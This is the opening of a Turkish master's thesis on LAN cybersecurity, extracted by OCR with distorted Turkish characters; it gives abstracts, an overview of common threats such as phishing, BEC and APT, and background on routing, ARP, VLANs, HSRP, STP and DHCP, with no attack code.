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saglamak i¢in yerel agdaki siber giivenligin farkli gilivenlik sorunlarinin pratik
gereksinimler ile test edilmis ve Onemi ortaya konmustur. Yerel alan aglardaki
acikliklarin ortaya cikartabilecegi sonuglar1 gostererek bu kapsamda siber tehditlere
kars1 bir farkindalik olusturacagini ve bu alanda faaliyet gosteren herkese faydali
olmasini timit etmekteyim.
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YEREL ALAN AGLARININ SIiBER GUVENLIK YONUNDEN
INCELENMESIi VE DEGERLENDIRILMESI

OZET

Teknoloji alanindaki hizli gelismeler ve ¢alisan kisi sayisindaki artiglar nedeniyle yerel
alan aglar1 karmasik hale gelmistir. Bu durum siber giivenlik probleminin ortaya
¢ikmasina neden olmaktadir. Saldirganlar, farkli saldir1 yontemlerini kullanarak yerel
alan aglarindaki tespit ettikleri zafiyetleri kendi amaglari dogrultusunda
kullanmaktadir. Saldirganlarin bagkalari tarafindan iiretilmis hazir teknolojik ara¢ ve
gerecleri kullanarak, detayli teknik bilisim bilgisine gereksinim duymadan siber
saldirilar yapabilmekte ve bu saldirilar yoluyla yiiksek diizeylerde kazang
saglamaktadirlar. Alinacak bir takim giivenlik tedbirleri ile yerel alan aglar1 glivenli
hale getirilebilmektedir.

Tez ¢alismasinda siber giivenlik ve bilgi giivenligi farkindaliginin 6nemini géstermek
tizere, sanallastirma temelli isletim sistemleri ve servislerinin kurulumlari
hazirlanarak, yedekli ve yiikk dagilim ozelliklerini barindiran bir ag prototipi
gerceklestirilmistir. Ag prototipi GNS3 (Graphical Network Simulation 3- Grafik Ag
Simiilasyonu 3) benzetim programi kullanilarak tasarlanmistir. Sanal isletim sistemleri
ile GNS3 benzetim programlarinin birbirlerine entegresi saglanmistir. Béylece siber
saldir1 senaryolarinin yapilabilecegi bir sistem gerceklestirilmistir. Bu sistem iizerinde
en yaygin yerel alan ag saldir1 yontemleri uygulanmis ve ¢ikan sonuglar icin
degerlendirmeler yapilmistir. A§ yoneticisinin dikkat etmesi gereken noktalar ve
koruma yontemleri benzetim programi tizerinden gosterilmesi saglanmistir. Calismada
ARP zehirleme saldirilarini tespit etmek ve 6nlemek i¢in Python dili kullanilarak web
tabanli bir uygulama gercgeklestirilmistir.

Anahtar Kelimeler: Benzetim, Bilgi Giivenligi Farkindaligi, Siber Saldirilar, Yerel
Ag.
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INVESTIGATION AND EVALUATION OF LOCAL AREA NETWORKS
FROM CYBER SECURITY STANDPOINT

ABSTRACT

Rapid developments in technology and the increase in the number of people working
in this field have caused the Local Area Networks to become complicated. This
situation leads to the emergence of cyber security problem. Attackers use the
weaknesses they detected by using different attack methods in local area networks for
their own purposes. Attackers are able to make cyber attacks without the need for
detailed technical informatics information by using ready-made technological tools
and equipment produced by others, and provides high levels of gains through these
attacks. Local area networks can be brought as secured by taking a number of security
precautions.

In order to show the importance of cyber security and information security awareness
in the thesis study, a network prototype with redundant and load distribution features
has been realized by preparing the installation of operating systems and services
through virtualization technology. The network prototype was designed using the
simulation program GNS3 (Graphical Network Simulation 3). Virtual operating
systems and the GNS3 simulation program integration is provided. Thus, a system has
been realized in which cyber attack scenarios can be made. The most common attacks
over the local area networks were tried on this system and the evaluations were made
on the results obtained. The points that the network administrator should pay attention
to and the protection methods are shown through the simulation program. In order to
detect and prevent ARP poisoning attacks in the study, a web-based application was
carried out using Python language.

Keywords: Simulation, Information Security Awareness, Cyber Attacks, Local Area
Networks.



GIRIS

Giliniimiizde siber tehditler sadece bilgi teknolojileri alaninda faaliyet gosteren
kurumlari degil o iilkenin askeri, saglik, otonom araglar, havayolu ve hukuk gibi bir¢cok
alanlarda faaliyet gosteren kurum ve kuruluslart olumsuz olarak etkilemektedir. Siber
saldirilarin  6nlenmesine yonelik olarak kurumlar tarafindan cesitli ¢alismalar
gerceklestirilmektedir. Bu ¢alismalarda teknolojide meydana gelen hizli degisim goz
Ontine alinarak gilivenlik mekanizmasinin tesis edilmesi gerekmektedir. Bilgisayar ve
Ag Giivenligi firmasi olan WatchGuard’in 2018 yilinin ilk ¢eyreginde agikladigi
rapora gore o donemde gerceklesen ag saldirist 2017 yilinin son c¢eyreginde
gerceklesen ag saldirilarina gore %52 artig gostererek 10 milyondan fazla ag istismari

yasanmistir [1].

APT (Advanced Persistent Threat - Gelismis Kalic1 Tehdit) saldir1 tiirti birgok saldir1
tekniginin karmasik bir bigimde kullanilmasiyla tasarlanmis, biiyiik 6l¢ekli kurumsal
firmalar1 hedef alan saldirilardir. Kurumsal alanda yapilacak olan APT saldirilarinin
biiytik bir cogunlugunun gergeklestikten sonra tespit edildigi goriilmektedir [2]. Bunun
nedeni, saldirinin ¢ok yavas ve fark ettirmeden sisteme sizilarak gerceklestirilmesidir.
Bu saldirtya karst korumanin daha iist seviyelerde olabilmesi i¢in kurum bilgi
teknolojileri uzmanlarinin, giinlik olagan ag trafigini izlemesi, yerel alan agimi
mantiksal boliimlere ayirmasi, bal kiipii aglarimi aktif etmesi ve sadece dnceden

tanimlanmis uygulamalara erisim saglamalar1 gerekmektedir.

Sosyal miihendislik e-posta, telefon veya fiziksel yontemlerin kullanilarak insanlarin
kandirilmasi ile gergeklestirilen saldirilardir. Sosyal miihendislik saldir1 tiirlerinden
olan oltalama saldiris1 kurbanin e-postasina gonderilen baglanti araciligi ile sahte web
adresine yonlendirerek kurbanin kisisel bilgilerini elde etmekte ve kurum i¢i is siirecini
bozmay1 amaglamaktadir. BEC (Business E-Mail Compromise - Sirket E-Postalar1
Dolandiriciligr) saldirisi, iist diizey yoneticilerin kullandigi e-posta adresini taklit

ederek veya kaba kuvvet saldirilart ile ele gegirerek gerceklestirdigi bir oltalama saldir1



tiriidiir. Bu saldiriin yapilisint senaryo seklinde ifade ettigimizde; A kurumu B
kurumuna hizmet vermektedir. Her ayin sonunda hizmet bedeli olarak B kurumu, A
kurumunun 6nceden belirledigi IBAN numarasina bir bedel 6demektedir. Saldirgan,
B kurumunun muhasebeden sorumlu personeline A kurumunun finans yoneticisinden
geliyor gibi gostererek “IBAN numaramiz degismistir” igerikli e-postay1 B kurumuna
yollayarak atagi gerceklestirmektedir. FBI (Federal Bureau of Investigation - Federal
Sorusturma Biirosu) tarafindan 2018 yilinda yayinlanan rapora gére BEC tabanli
kiiresel kayiplar 2013-2018 yillar1 arasinda 12 milyar dolari astigi, kii¢iik orta ve
biiyiik Olcekli isletme ve kisisel islemleri hedef alarak %136 oraninda arttig
vurgulanmaktadir. Bu tip saldirilar sonucunda kurum agisindan verilerinin saldirganin
eline gecmesiyle o verinin hazirlanmasi i¢in gecen zamanin bosa gitmesine, maddi ve
prestij kaybma sebep olmaktadir. BEC dolandiriciliginda e-posta sahtekarligi,
uzlagsma, veri hirsizligi, sahte fatura, avukat kimligine biiriinme ve iist diizey
dolandiricilik  gibi farkli tekniklerin kullanilmasi sonucunda diger e-posta
saldirilarindan farklilasarak APT olarak siniflandirilmaktadir. MuddyWater, 2017
yilinda tespit edilmis oltalama saldir1 mantifiyla ¢alisan 6zellikle resmi kurumlar
hedeflenerek resmi bir kurumdan geliyor gibi e-posta eki olarak gonderilen makro
tabanli dokiimanin kurban tarafindan calistirilmasi sonucunda zararlinin kurban

bilgisayar lizerinde arka kapi olusturarak bilgi sizdirilmasi hedeflenmektedir.

Saldirganlarin gerceklestirdigi saldirilarin %18°1lik bir boliimiinii zararli e-posta
eklentilerini kullanarak, %16’lik bolimiinii ise oltalama saldir1 teknigi ile
gerceklestirmektedirler. Toplamda %34°liik bir boliimiinii kapsamasindan dolay1
saldirganlarin gergeklestirdigi her ii¢ saldiridan en az bir tanesinin e-posta kaynakli
oldugunun sonucuna varilmaktadir. Bu sebeple siber saldirilarin bu e-posta
kaynaklilardan en az bir tanesinin oltalama e-postalarindan veya kurum g¢aligsanlarina
zararl yazilim igeren e-posta eklentileri gonderilerek gergeklestigini géstermektedir.
Kurumun personeline yonelik kurum i¢i bilgi giivenligi egitimleri yapmasi ve siber

risk tasiyan davranislardan kaginilmasi gerektigi anlatilmalidir [3].

SSL (Secure Sockets Layer - Giivenli Soket Katmani), web servislerinin hedef ile
kaynak arasindaki haberlesmenin sifrelemesi i¢in kullanilan bir giivenlik katmanidir.

OSI (Open System Interconnection - Agik Sistemler Ara Baglantisi), farkli markadaki
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tim ag kart1 iireticilerinin haberlesmelerindeki uyum problemini ortadan kaldirmak
icin gelistirilmis yedi katmanli bir referans modelidir. OSI referans modelinin yedinci
katmaninda ¢alisan servislerin kullandig1 portlarin kontrol edilmemesi ve siiresi
tamamlanan SSL sertifikalariyla birlikte kullanilan yazilimlarin zamaninda
giincellenmemesi nedeniyle ag giivenligi noktasinda saldirganlara acik kapi
birakilarak sistem {izerinde zafiyetler olusmaktadir. Bunun disinda, zafiyete neden
olabilecek diger etkenler ise son kullaniciya yonelik yapilan sosyal miihendislik
saldirilar1, kurumun siber giivenlige gereken énemi vermedigi i¢in biitge ayirmamasi
veya biitgesinin olmamasi, uzman personel eksikligi ve saldir1 altindayken
uygulanacak acil durum planinin olmamasi seklinde siralanmaktadir. Yerel alan
aglarma dahil olacak bilgisayarlarin, baglanacak oldugu anahtar portunda cihaz
bilgilerinin ag yoneticileri tarafindan dogrulanmasi ve bilgi giivenligi risk yonetim
prosediir dlgiitlerini tagiyan bilgisayarlarin baglantisina izin verilmesi gerekmektedir.
Ayrica, kurum birimlerini ve kritik sunuculari birbirlerinden mantiksal olarak ayirmak
ve ag yoOnetiminin daha islevsel olmasi i¢in yerel alan aglarinda mutlaka VLAN
(Virtual Local Area Network- Sanal Yerel Alan Agi) yapilandirilmasinin yapilmasi

gerekmektedir.

DoS (Denial of Service- Hizmet Engelleme) saldirisinin temel amact saldirinin belli
bir zaman diliminde siirekli gergeklestirilerek hedef kaynaklarinin iglevsiz hale
getirilmesi sonucunda kurbanin hizmet dis1 kalmasini saglamaktir. DoS saldirilart
2003 yilindan bu yana kurumlan tehdit etmeye devam etmektedir. Kurumu bu
saldiridan korumak i¢in sinir cihaz gorevi goren yonlendirici lizerinde yapilacak basit
ayarlar ve uzman personelin TCP/IP (Transmission Control Protocol — Tasima Kontrol
Protokolii / Internet Protocol — Internet Protokolii) bilgisi sayesinde koruma
saglayabilmektedir. Siber uzayda tam anlamiyla giivende olmamiz miimkiin degildir.
Buradaki giivenligin iist seviye ¢ikartilmasi i¢in katmanli giivenlik ag tasarimlari
tizerinde durulmasi ve uluslararasi kabul gérmiis kurumlara yonelik hazirlanan siber

giivenlik saglama adimlarinin uygulanmasi gerekmektedir.

Kurum giivenlik duvarimin dogru ve zamaninda yapilandirilmamasi nedeniyle siber
saldirilarin basar1 ylizdelerinin, dogru yapilandirma ve yetismis insan kaynagi ile ters

orantili oldugu goriilmektedir. Bu kapsamda kiiclik 6l¢ekli firmalarin yetersiz teknik
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alt yapi, bilgi giivenligi farkindaliginin diistikliigii ve teknik bilgi eksikliginden dolay1
saldirganlarin hedefine girdigi goriilmektedir. Yapilan arastirmaya gore siber

saldirilarin %58’nin kiiciik 6lgekli firmalar1 hedefledigi gézlenmektedir [4].

CVE-2018-4878 (Common Vulnerabilities and Exposures- Yaygin Giivenlik A¢iklar
ve Eksiklikleri) zafiyetinin giderilmesi igin Adobe firmasi tarafindan 1 hafta sonra
gerekli yamalar yayimlanmistir [5]. Yamasi yayimlanmadan once gegen zaman
diliminde yapilmig siber saldirilar sifirinci giin saldiris1 olarak adlandirilmaktadir.
Sifiriner giin saldirilarindan korunmak igin gelen e-postalarin igerigi ve gonderenin
kim olduguna, indirilen dokiimanlarin korumali goriinimde agilmasina, Sadece HTTP
(Hyper-Text Transfer Protocol — Hiper-Metin Aktarma Iletisim Kurali) ile baslayan
web sitelerine tiklanmamasina ve web adresinin yaniltict bir adres olup olmamasina
kars1 dikkat edilmesi gerekmektedir. Siber giivenlik diinyasindan yasanan gelismeler
neticesinde sifir giin saldirillarina, oltalama ve zararli yazilimlara, kaba kuvvet
saldirilarina, hizmet saldirilarina ve APT saldirilarina kars: kurum tarafindan verilen
Oonem kadar artik son kullanici bilinglenmesi de 6nemli hale gelmektedir. Bu riskler
gdz Oniinde bulunduruldugunda hem yerel alan ag giivenliginin {ist seviyelere
cikartilmast hem de son kullanict farkindaliklarindaki olumlu gelismelerin olmasi
sayesinde yasanacak tehlike ve risklerin ortadan kalmasindaki 6nemi ortaya
cikmaktadir. Oniimiizdeki yillarda gerceklesecek olan siber saldirilar1 6nlemeye
yonelik olarak ¢ok sayida siber giivenlik uzmanlarina ihtiya¢ dogacaktir. US News and
World dergisinin 2015 yilinda yayinladigi raporda, en iyi 100 meslek grubu i¢inden,
bilgi gilivenligi analistleri sekizinci sirada yer aldigi goriilmektedir. Ayrica bilgi
giivenligi alaninin 2022 yilina kadar %36,5 oraninda biiyiliyecegi 6n goriillmektedir [6].
Bu sonuclar dikkate alindiginda kurumsal alandaki tiim sektdrler igin bilgi
giivenliginin ¢ok Onemli bir konsept olacagi goriilmektedir. Teknolojideki hizli
gelismelere paralel olarak tiim kurumlarin bu alanda hizli bir bigimde gelisme
gostermesi gerekmektedir. Bilgi glivenligi konusunda yeterli gelisimi saglayamayan
kurumlar bulunduklar1 sektor icindeki pazardan pay alma yarigindan elenmek
durumunda kalacaklardir. Sektdrlerin kurumsal olarak bilgi giivenligi gereksinimlerini
karsilamak igin nitelikli personellere ihtiya¢ duyulmaktadir. Kurum ¢aliganlarinin
kendilerini bu degisimdeki giincelligi yakalamak ve bilgi glivenligi alaninda kariyer

yapmak i¢in iniversitelerin Meslek Yiiksekokulu bilgi giivenligi teknolojisi
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programlarini, mithendislik boliimlerini, online platformlar1 veya siber giivenlik
alanma yonelik diizenlenen konferans, egitim ve yarigsma yontemlerini kullandiklar

gorilmektedir.

Kurumlar, giivenlik ve ag cihazlarina biiyiik biitceli yatirimlar yapmaktadirlar. Biiyiik
biitceler ile alimi saglanan bu cihazlarin, aga konumlandirilmas: yetmemektedir.
Kurumsal yapilardaki yerel alan aglarinin ag cihazlari iizerine yapilacak siber saldirilar
karsisinda koruma saglanmasi i¢in kurumun bilgi teknolojileri uzmanlar1 tarafindan
gerekli konfiglirasyonlar1 zamaninda yapilmasi 6nemli bir problemdir. Yerel alan
aglarinda kullanilan koruma yontemlerinin, belirli araliklarla giincel siber saldirilara
kars1 ne kadar direng gosterdigi bilinmelidir. Ag giivenliginin saglanmast i¢in, bilgi
teknolojileri uzmanlarinin 6nleyici bir yaklasimla ve belirli zaman araliklariyla sizma
testlerini yapmasi gerekmektedir. Bunun i¢in, en hizli ve diisiik maliyete sahip olan
yontemlerden biri benzetim araglaridir. GNS3 benzetim araci, olasi saldirilarin heniiz
gerceklesmeden once birbirinden farkli saldir1 senaryolart kullanilarak basariya ulasip
ulasamayacag testiyle onleyici yaklagiminin kullanildig1 ve ¢ikan sonuglara gore yeni
bir koruma yontemi belirlenmesine yardimci olmaktadir. Gergeklestirilen bu islem,
kurum agina eklenecek yeni bir ag cithaz alimi gerceklesmeden dnce de yapilarak

kurum biitgesi anlaminda olumlu katk1 saglayacag diistiniilmektedir.

Yapilan bu tez calismasinda farkli siber saldir1 senaryolarinin, farkli mantiksal
birimlerin oldugu, yedekli ve yiik dengeli 6zelliklerini barindiran ag prototipine
uygulanarak elde edilen sonuglarin incelenmesi ve neticesinde ag gilivenligi
farkindaligi olusturulmast amaclanmaktadir. Calisma, toplam 5 bodliimden
olusmaktadir. Ikinci bdliimde, ag prototipinin hazirlanmasinda kullanilan P
yonlendirme, adres c¢oziimleme, ag gecidi yedekligi, kapsayan agac, dinamik
bilgisayar yapilandirma ve anahtar port birlestirme protokolleri, anahtarin ¢aligma
prensibi, yerel aglarda giivenlik ve saldir tipleri agiklanmustir. Ugiincii béliimde,
yapilan ¢alismalarin deneysel haline gelmesine olanak olusturacak sanallastirma ve
benzetim yazilimi anlatilmistir. Ayrica yerel alan ag saldirilarinin igerigini olugturacak
temel kavramlara ve sanallastirilan isletim sistemlerine yer verilmistir. Dordiincii
boliimde, yerel alan ag saldirilarinin her birini, benzetim ve sanallastirma

teknolojisinin yardimi ile uygulanmasina, tedbirlere, prensiplere ve gelistirilen ARP
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zehirleme tespit ve koruma aracina ait bilgilerin anlatimi yapilmistir. Son boliimde,
saldirilar ile her an karst karsiya kalinabilecegine, siber giivenlik farkindaligin
davranigsal olarak igsellestirilmesini saglanmasina ve yerel alan ag saldirilarinda

karsilagilan sonuglara yer verilmistir.



1. GENEL BiLGILER
1.1. IP Yonlendirme

Yerel alan ag haberlesmesi anahtara gelen c¢ercevenin hedef fiziksel adresi anahtar
portlarinda kayitli olan fiziksel adreslerden herhangi biri ile ortiistigiinde o0 porta
anahtarlama yapilarak saglanmaktadir. Bunun yaninda, 3. katman ag haberlesmesinde
uzak veya farkli aglarin devreye girmesinden dolay1 yerel alan ag haberlesmesinden
farkli bir yontemle gerceklestirilmektedir. Yerel alan aglar ile 3. katman aglar
arasindaki iletisimde koprii gorevini ag gegidi cihazlari {istlenmektedir. Ag gegidi
cihazlar kaynak adresin hedef adresten farkli oldugu haberlesmelerde 6nemli bir unsur
olmaktadir. Yonlendiriciler, yerel alan aglarda ag gecidi gérevini tistlenmekte ve hedef

paketin en uygun rota ile uzak hedef aga yonlendirilmesi i¢in kullanilmaktadir.

Ethernet ara yiizleri, bulundugu agi bulmak i¢in alt ag maskesi ve IP adresini ikilik
tabanda carparak elde etmektedir. Bilgisayarda birden fazla ara yiiz yer aliyorsa ayni
islemleri diger ara yiizler i¢in de yapmaktadir. Tiim bu bilgiler {izerine yonlendirme
protokoliiniin elde ettigi bilgiler eklenerek yonlendirme tablosu olusturulmaktadir.
Yonlendirme tablolar1 hedef yonlendiriciye en uygun yoldan gitmek i¢in kullanilacak
olan rota bilgileri yer almaktadir. Ayrica, yonlendirme tablolar: farkli yerel alan aglar
arasindaki haberlesmenin gergeklestirilmesinde kullanilmaktadir [7]. Bir paketin farkli
bir yerel alan aga gidebilmesi i¢in yonlendirme tablosunda olmasi gerekenler;

e Hangi yonlendirme tekniginin kullanildigi,

e Hedef ag bilgisi ve bu bilginin hangi ara yiizden 6grenildigi,

e  Oncelik, mesafe ve hiz birimlerini ifade eden bilgiler yer almaktadur.

Yonlendiriciler yonlendirme tablosunu, ihtiyaca gore farklilik gosteren 6grenme
tekniklerinin kullanilmasiyla olusturmaktadir. Yonlendirmenin gercgeklestirilmesinde

kullanilan baslica 6grenme teknikleri:



e Dogrudan yonlendirme.
e Sabit yonlendirme.

e Dinamik yonlendirmedir.
1.1.1. Dogrudan yonlendirme

Yo6nlendiricide bu 6grenme tekniginin aktif olmasi i¢in {izerinde yer alan ara yiizlerin
ek yapilandirmaya gerek kalmadan yonlendirme tablosuna hedef ag ile ilgili bilgiler

eklenmektedir.
1.1.2. Sabit yonlendirme

Kurumun sinir cihaz goérevi goren yonlendiricisi, bu 6grenme teknigi ile yonlendirme
tablosunda bir eslesmeye sahip olmayan aglara bir yol sunarak internet ¢ikiginin
Ogretilmesi islemini varsayilan rota ile gerceklestirmektedir. Bu yonlendirmede
yonlendiriciler, yonlendirme kararlarini, mesafe, anlik bant genisligine, ag baglanti
bicimine ve ag alt yapisina iliskin 6l¢melere dayandirmaz. Bunun yerine dnceden
varsayilan uzaklik ve giivenirlik degerlerinin kullanilarak hesaplanan bilgilerin

yiiklenmis oldugu yonlendirici tablolarina gore yonlendirme yapmaktadirlar [7].

Bu oOgrenme teknigi fazla sayidaki farkli yerel alan agmi ydnlendirmedeki
zorluklarinin olmasi, giivenirligin ve bant genisligini hesaba katmamasi, degisen rota
bilgilerini giincellemek i¢in yonetici miidahalesi gereksinimi duymasi ve olasi hat
kopmalaria kars1 alternatif hattin tespit edememesinden dolay1 yaygin bir sekilde
kullanilmamaktadir. Ayrica kurumun birden fazla ISP (Internet Service Provider-
Internet Servis Saglayici)’den hizmet aldigi durumda ISP ile kurum y®dnlendiricisi
arasinda dinamik yonlendirme teknigini tercih etmesi gerekmektedir. Fakat kurum bir
adet ISP’den hizmet aliyorsa ISP ile kurum yonlendiricisi arasinda dogrudan

yonlendirme teknigi kullanilmaktadir.
1.1.3. Dinamik yonlendirme

Bu yontemde, yonlendirici {izerindeki ara yliz ve en uygun rotalar1 belirlenmesini
saglayan yonlendirme verilerinin anlik giincellenmesinden dinamik yonlendirme

protokolleri sorumludur. Uzaklik vektorii ve baglanti durumu yonlendirme baslica
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dinamik yo6nlendirme protokolleridir. Dinamik yonlendirmede 6grenme islemi
otomatik olarak gergeklesirken, sabit yonlendirme basligi altinda bahsedilen bazi
temel iglemler i¢in sabit yonlendirmenin kullanildigi durumlarda ortaya ¢ikmaktadir.
Dinamik yonlendirme 6grenme tekniginin en olumlu 6zelligi ag topolojisindeki
degisikliklerde ve trafikte olusacak tikanma durumlarinda uyarlayici yapisi sayesinde
otomatik yeniden hesaplama yaparak trafigin alternatif yol iizerinden devam etmesini

saglamasidir [8].

Alternatif yol se¢cimi yonetimsel uzaklik ve metrik degerlerine gore gerceklesmektedir.
Yonetimsel uzaklik, hattin giivenirligini ifade eder ve ag yoneticisi tarafindan
degistirilmedigi siirece dinamik veya sabit yonlendirme protokolleri igin varsayilan
degerleri ile kullanilmaktadir. Bu deger sayisal olarak biiyiidiik¢ce o hattin giivenirligi

de diismektedir.
1.1.3.1. Uzakhik vektorii yonlendirme protokolii

Hedef aga ulagsmak i¢in kullanilan metrik degerinin belirlenmesindeki kriter
diigiimlerin gegctigi atlama noktasi sayisidir. Atlama sayisinin miktarina gore hangi
rotanin kullanilmasi gerektigine karar verilmektedir. Bu protokoliin ¢alisma prensibini
temel alan yonlendirme protokolii genellikle atlama sayisina bakarak yonlendirme
yapilmamaktadir. RIP (Routing Information Protocol- Y6nlendirme Bilgisi Protokolii)
ve EIGRP (Enhanced Interior Gateway Routing Protocol- Arttirilmis Dahili Ag Gegidi
Yonlendirme Algoritmasi) protokollerinin ¢aligmasi, uzaklik vektorii yonlendirme

protokoliiniin ¢caligsmasini temel almiglardir.

RIP protokolii i¢in temel olusturmus olan Bellman-Ford algoritmasi, birgok 6zelligi
korunarak RIP protokoliine entegre edilmistir [9, 10]. RIP protokoliinde hedef aga

ulagmak i¢in gereken rotanin belirlenmesinde sadece atlama sayisina bakilmaktadir.

EIGRP ve IGRP protokollerine temel olusturmus olan DUAL (Diffusing Update
Algorithm- Genel Giincelleme Algoritmasi)’dir. EIGRP protokoliinde, yonlendirme
isleminin gergeklestirilmesinde sadece atlama sayisina bakilmamaktadir. EIGRP’nin
rota belirleme siirecinde kullandig1 metrik degerleri birden fazla kriterden elde edilen

sonuca gore belirlenmekte ve yonlendirme tablosu olusturulmaktadir. Metrik



degerinin belirlenmesinde bant genisligi, gecikme, giivenilirlik, yiik ve atlama sayisi
parametreleri dikkate alinmaktadir [11]. Bu yontem, uzaklik vektorii ve baglanti
durumu yonlendirme protokollerinin 6zelliklerini barindirmasindan dolayr melez bir

yapida ¢alismaktadir [12].
1.1.3.2. Baglanti durumu yonlendirme protokolii

Baglanti durumu yonlendirme protokolii ag {iizerinde bulunmakta olan tiim
yonlendiricilerin, tiim ag topolojisini 68renmesine olanak saglayan bir alt yapi
saglamaktadir. Bu yontemde 6grenilen topolojiye gore, her yonlendirici dnce en kisa
yol hesaplamasini kullanarak yonlendirme tablosunu olusturmaktadir [13]. Bu
protokolde giivenirlik, referans bant genisligi ve hattin bant genisligi gibi
parametrelerin etkili olmasiyla alternatif rotanin otomatik hesaplanmasi ve tiim marka
cihazlarda calisabilmesinden dolayr kurumlar tarafindan daha c¢ok tercih
edilmektedirler. Bu yontemde, bir¢ok parametrenin isleme katilmasindan dolayi
yonlendiricilerin islemci dzelliklerinin daha giiglii olmasi1 gerekmektedir. Bu nedenle,
Kurumlarin bu protokoliin kullanilmasi i¢in ayirmasi gereken biitge uzaklik vektor
yonlendirme protokoliinii ¢alistiracak yonlendirici maliyetine goére daha yiliksek
olmaktadir. Dinamik baglant1 yonlendirme protokolii olan OSPF (Open Shortest Path
First — Once En Kisa Yolu A¢) protokolii igin Dijkstra algoritmasi bir temel olusturmus
ve kurum aginda yer alan tiim yonlendiricilerde aktif olarak kullanilabilmektedir [14,

15].
1.2. Adres Coziimleme Protokolii

Yerel alan aglarinda veri paketlerinin hedefe gonderilebilmesi igcin OSI referans
modelinin ag katmanindan veri baglantis1 katmanina gecis yapmasi gerekmektedir.
Veri baglantisi1 katmaninda, MAC (Media Access Control- Medya Erisim Kontrolii)
adres Dbilgisini kullanarak haberlesme gergeklestirilmektedir. ARP  (Address
Resolution Protocol- Adres Coziimleme Protokolii) bu esnada devreye girerek ag
katmaninda yer alan hedef IP bilgisine karsilik gelen MAC adresi bilgisini ¢ift yonli

olarak bulmayi1 saglamaktadir.
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1.3. Anahtarin Calismasi

MAC protokolii Ethernet kartlarindaki fiziksel adresi temsil etmektedir. Anahtarlar
yerel aglardaki haberlesmeyi MAC adresi tablosundaki degerleri kullanarak
gerceklestirmektedir. MAC adres tablosunda MAC adresi ve bu adresi 6grendigi port
numarasi yer almaktadir. Anahtarlarin gelen trafigi dogru porta yonlendirebilmesi igin
o trafigin gitmesi gereken MAC adresini biliyor olmasi gerekmektedir. MAC adres
tablosunda hedef MAC adresi varsa tek nokta haberlesme gergeklestirilmektedir.
Fakat hedef MAC adresi tabloda yer almiyorsa, kendisi hari¢ herkese ARP istegi
gondererek, hedefin MAC adresini tablosuna ekleyerek 6grenme siirecini tamamlanur.
Anahtar tizerinde bulunan portta birden fazla fakat sinirl bir sayida MAC adres bilgisi
yer alabilir. Bu kapsamda, marka ¢esitliligine gore farklilik gostermekle birlikte
anahtarlarin hafizalarinda kaydedebilecegi MAC adres sayilar1 16.000 — 32.768

degerleri arasinda olabilmektedir.
1.4. Yerel Aglarda Giivenlik

Giivenlik politikalart kurum yerel aglarinda giivenlik, gizlilik ve erigebilir olma
ilkelerinin giivenlik yoniinden seviyesinin belirlenmesini saglayan, tiim ¢alisanlarin ve
kurumun paydaslar1 tarafindan uymast gereken kurallar biitliniidiir [16]. Giivenlik
politikasindaki asil amag degerli ve gizli dokiimanlarin yetkisiz/kotii niyetli kisilerin
eline gecmesini engellemek ve olast kotii bir durumda atilmasi gereken adimlari
onceden belirlemektir. Kurumlar tarafindan uygulanmakta olan bazi temel giivenlik
politikalarinin igeriklerine 6rnek olarak;

e (QGorevlilerin sunucu odasina giris politikast.

e Parola belirleme/koruma politikasi.

e Son kullanicilarin hak ve sorumluluk politikasi.

e Son kullanicilar bilgi giivenligi farkindalik politikasi.

e Yedekleme politikasi verilebilir.
1.5. Sanal Yerel Ag

Ikinci katman cihazlarinin fiziksel portlarinin sanal aglara boliinmesi ile birbirinden

izole edilmis birimlerin olusturulmasi saglamaktadir. Yerel aglarin mantiksal olarak
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birbirlerinden ayrilmasi saldirganlarin kurum aginda ilerlemesini ve kurumun kritik

bilgilerini bulunduran sistemlere erisimini zorlastirmay1 amaglamaktadir.
1.6. Hazir Yedekteki Yonlendirici Protokolii

HSRP (Hot Standby Router Protocol- Hazir Yedekteki Yonlendirici Protokolii) ag
gecidi gorevi goren cihazin arizasia karsi koruma saglar. Kaynak bilgisayar hedef
bilgisayara ag gecidi araciligi ile ulasamadiginda veya farkli agdaki DHCP (Dynamic
Host Configuration Protocol- Dinamik Bilgisayar Yapilandirma Protokolii)
sunucusundan [P alamadiginda dinamik olarak yedekte bekleyen diger ag gecidi
cihazinin devreye girmesi i¢in bu protokol tasarlanmistir [17]. HSRP’nin kullanilmas1
ile ISP tarafina bagli 3. katman cihazin olasi arizalanmasi1 durumunda yedekte bulunan
diger 3. Katman cihazin devreye girmesiyle internet baglantisinin kesintiye ugramadan

devam etmesini saglamaktadir.
1.7. Kapsayan Agac¢ Protokolii

Yerel alan aglarda olas1 hat problemlerine kars1 otomatik olarak devreye alternatif
hattin alinmasiyla zaman ve maddi kayiplarin 6niine gegmek hedeflenmektedir.
Yedekli hattin kullanildigi yerel alan aglarinda sonsuz dongii problemi ortaya
¢ikabilmektedir. Sonsuz dongii ARP genel yayin paketi ile TTL (Time to Live —
Yasam Zamani) sliresinden kaynaklanmaktadir. Sonsuz dongiiyii durdurmanin tek
yolu ilgili anahtar portlarint kapatmaktir. Sonsuz dongiiye iki anahtar portun
birbirlerine kisa devre yapilmasiyla ortaya ¢ikabilmektedir. Boylece son kullanici
glivenliginin olumsuz etkilenmesine ve yerel alan agda genel yayin firtinasinin
olugmasina sebebiyet verilmektedir. Genel yayin firtinasi, aynt MAC adresinin birden
fazla anahtar portlarina kayit edilmesiyle meydana gelmektedir. Sonsuz dongiiden
korunmak i¢in STP (Spanning Tree Protocol - Kapsayan Agac¢ Protokolii)

protokoliiniin kullanilmas1 gerekmektedir.

Yerel alan aglarda hem yedekli yapida hem de anahtar portlarmin kisa devre
yapilmasiyla ortaya ¢ikacak olan sonsuz dongiiniin ger¢eklesme ihtimalinin en aza
indirilmesi ve alternatif hattin sagladig1 avantajlar elde etmek igin yerel alan aglarda

STP protokoliiniin kullanilmasi 6nerilmektedir. STP protokolii 1985 yilinda Radia
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Perlman tarafindan gelistirilmistir. 1990'da IEEE (The Institute of Electrical and
Electronics Engineers - Elektrik ve Elektronik Miihendisleri Enstitiisii), Perlman
tarafindan tasarlanan algoritmaya dayanarak, STP protokolii i¢in 802.1D standardin1
yayinlamistir. Bu standardin devam niteligindeki diger versiyonlar1t 1998 ve 2004

yillarinda yaymlanmistir [18, 19].
1.8. Dinamik Bilgisayar Yapilandirma Protokolii

DHCP sunucular1 ag adresi ayirma, ag gegidi ve DNS (Domain Name Server - Alan
Adi Sunucusu) gibi bilgilerin agdaki cihazlara atanmasini gergeklestirerek ag
yoneticisine destek aract rolii oynamaktadir [20]. Boylece bilgi islem personellerinin

her bir son kullanici bilgisayari i¢in ayrica IP belirleme yiikiinden kurtarmaktadir.
